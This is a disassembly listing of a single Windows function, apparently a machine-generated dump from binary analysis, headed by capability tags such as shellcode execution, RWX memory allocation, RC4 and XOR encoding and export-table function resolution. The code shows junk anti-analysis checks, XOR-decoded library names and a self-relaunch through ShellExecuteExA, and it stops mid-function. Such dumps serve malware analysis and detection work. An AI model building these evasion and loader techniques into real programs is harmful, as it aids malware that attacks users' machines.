Function at 0x14001841c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140087240
sub rsp, rax
mov rax, qword [0x1400e6700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x2c]
mov esi, 0x76bfe48f
mov r12d, 0x67a550cd
cmp rax, r12
jne 0x14001850e
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400184ee
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400184ee
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001850e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov ecx, r12d
call fcn.14000d374
mov rax, qword gs:[0x2c]
movabs r15, 0xee84212ad7c507c8
cmp rax, r12
jne 0x1400185ca
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400185aa
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400185aa
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400185ca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
mov ebx, 0x111ab442
cmp rax, r12
jne 0x140018689
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018669
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018669
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018689
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov ecx, r12d
call fcn.140017a18
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001873b
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001871b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001871b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001873b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x1400187e5
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400187c5
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400187c5
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400187e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
lea rdx, [0x1400daa80]
lea rcx, [rbp + 0x998]
call fcn.14000cd38
mov rdx, rax
mov ecx, r12d
call fcn.14000d418
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x1400188ad
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001888d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001888d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400188ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140018957
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018937
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018937
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018957
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov r13d, 1
mov dword [rbp + 0x90], 0x6c4cf001
mov dword [rbp + 0x94], 0xc1e99b1c
mov word [rbp + 0x98], 0xdd
xor r14d, r14d
mov edi, r14d
movabs r15, 0x10dca5af9
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140027d3c
xor al, dil
mov byte [rbp + rdi + 0x90], al
add rdi, r13
cmp rdi, 9
jb 0x14001898a
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x2c]
cmp rax, r12
movabs r15, 0xee84212ad7c507c8
jne 0x140018a86
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018a66
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018a66
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018a86
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140018b41
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018b21
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018b21
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018b41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov dword [rbp + 0x1f0], 0xe4187eb4
mov dword [rbp + 0x1f4], 0x385e30be
mov dword [rbp + 0x1f8], 0xdcdf8628
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
movabs rsi, 0x10dca5af9
mov qword [rsp + 0x20], rsi
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140027998
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
add rdi, r13
cmp rdi, 0xc
jb 0x140018b74
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x2c]
cmp rax, r12
mov esi, 0x76bfe48f
jne 0x140018c6b
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018c4b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018c4b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018c6b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140017be0
test eax, eax
jne 0x140018f16
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400b0aa0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140018d85
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400b0aa0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0xaea3168
mov word [rbp - 0x6c], 0xf0
movabs rsi, 0x10dca5af9
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140027cc8
xor al, dil
mov byte [rbp + rdi - 0x70], al
add rdi, r13
cmp rdi, 5
jb 0x140018cf8
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], r13d
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140027620
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140018d8f
movabs rsi, 0x10dca5af9
or rax, 0xffffffffffffffff
mov byte [rsp + 0x78], al
xor ecx, ecx
mov byte [rsp + 0x79], cl
mov qword [rsp + 0x20], rsi
mov r9, r13
xor r8d, r8d
mov dl, al
lea rcx, [rsp + 0x78]
call fcn.140027b70
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140017a60
mov rbx, rax
movdqa xmm0, xmmword [0x1400dbd90]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400dbdf0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x73eb0085
mov dword [rbp + 0xc1c], 0x6e4d2f4d
mov dword [rbp + 0xc20], 0x1ab5f6cc
mov word [rbp + 0xc24], 0xfb
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140027c54
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
add rdi, r13
cmp rdi, 0x2d
jb 0x140018e18
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140028ce8
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140028ea8
lea rcx, [rbp + 0x9d8]
call fcn.140028800
lea rcx, [rbp + 0x9b8]
call fcn.140028800
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x5d
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140027750
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
add rdi, r13
cmp rdi, 0x11
jb 0x140018eb1
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.140028454
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140018fd1
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018fb1
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018fb1
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018fd1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019081
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019061
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019061
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019081
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001913c
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001911c
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001911c
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001913c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x1400191e6
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400191c6
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400191c6
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400191e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019290
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019270
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019270
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019290
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
xor ecx, ecx
call fcn.14008ed14
mov rbx, rax
mov word [rsp + 0x7c], 0xa4
movabs rsi, 0x10dca5af9
mov qword [rsp + 0x20], rsi
mov r9, r13
xor r8d, r8d
mov dl, 0xa4
lea rcx, [rsp + 0x7c]
call fcn.140027b70
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0xc0e55ba9
mov word [rbp - 0x5c], 0xfe98
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140027a10
xor al, dil
mov byte [rbp + rdi - 0x60], al
add rdi, r13
cmp rdi, 6
jb 0x1400192e0
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400921f4
mov rax, qword gs:[0x2c]
cmp rax, r12
mov esi, 0x76bfe48f
jne 0x1400193e9
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400193c9
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400193c9
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400193e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019493
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019473
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019473
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019493
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov ecx, 2
call fcn.14008ed14
mov rbx, rax
mov word [rbp - 0x80], 0xa1
movabs rsi, 0x10dca5af9
mov qword [rsp + 0x20], rsi
mov r9, r13
xor r8d, r8d
mov dl, 0xa1
lea rcx, [rbp - 0x80]
call fcn.140027b70
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0x900c6bfe
mov dword [rbp - 0x34], 0x4b5188
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140027be0
xor al, dil
mov byte [rbp + rdi - 0x38], al
add rdi, r13
cmp rdi, 7
jb 0x1400194de
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400921f4
mov rax, qword gs:[0x2c]
cmp rax, r12
mov esi, 0x76bfe48f
jne 0x1400195e6
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400195c6
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400195c6
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400195e6
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019690
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019670
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019670
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019690
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov ecx, r13d
call fcn.14008ed14
mov rbx, rax
mov word [rbp - 0x7c], 0xa1
movabs r15, 0x10dca5af9
mov qword [rsp + 0x20], r15
mov r9, r13
xor r8d, r8d
mov dl, 0xa1
lea rcx, [rbp - 0x7c]
call fcn.140027b70
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0x900c6bfe
mov dword [rbp - 0x2c], 0x4b5188
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140027be0
xor al, dil
mov byte [rbp + rdi - 0x30], al
add rdi, r13
cmp rdi, 7
jb 0x1400196d9
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400921f4
mov rax, qword gs:[0x2c]
cmp rax, r12
movabs r15, 0xee84212ad7c507c8
jne 0x1400197d3
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400197b3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400197b3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400197d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001987d
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001985d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001985d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001987d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbda0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400dbe30]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400dbd60]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xd8cf2e96
mov dword [rbp + 0xd4c], 0xd9f28a26
mov dword [rbp + 0xd50], 0x5268623a
mov word [rbp + 0xd54], 0x14c2
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
movabs rbx, 0x10dca5af9
mov qword [rsp + 0x20], rbx
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140027afc
xor al, dil
mov byte [rbp + rdi + 0xd18], al
add rdi, r13
cmp rdi, 0x3e
jb 0x1400198e9
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.14000cbdc
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x1400199ed
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400199cd
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400199cd
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400199ed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019a97
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
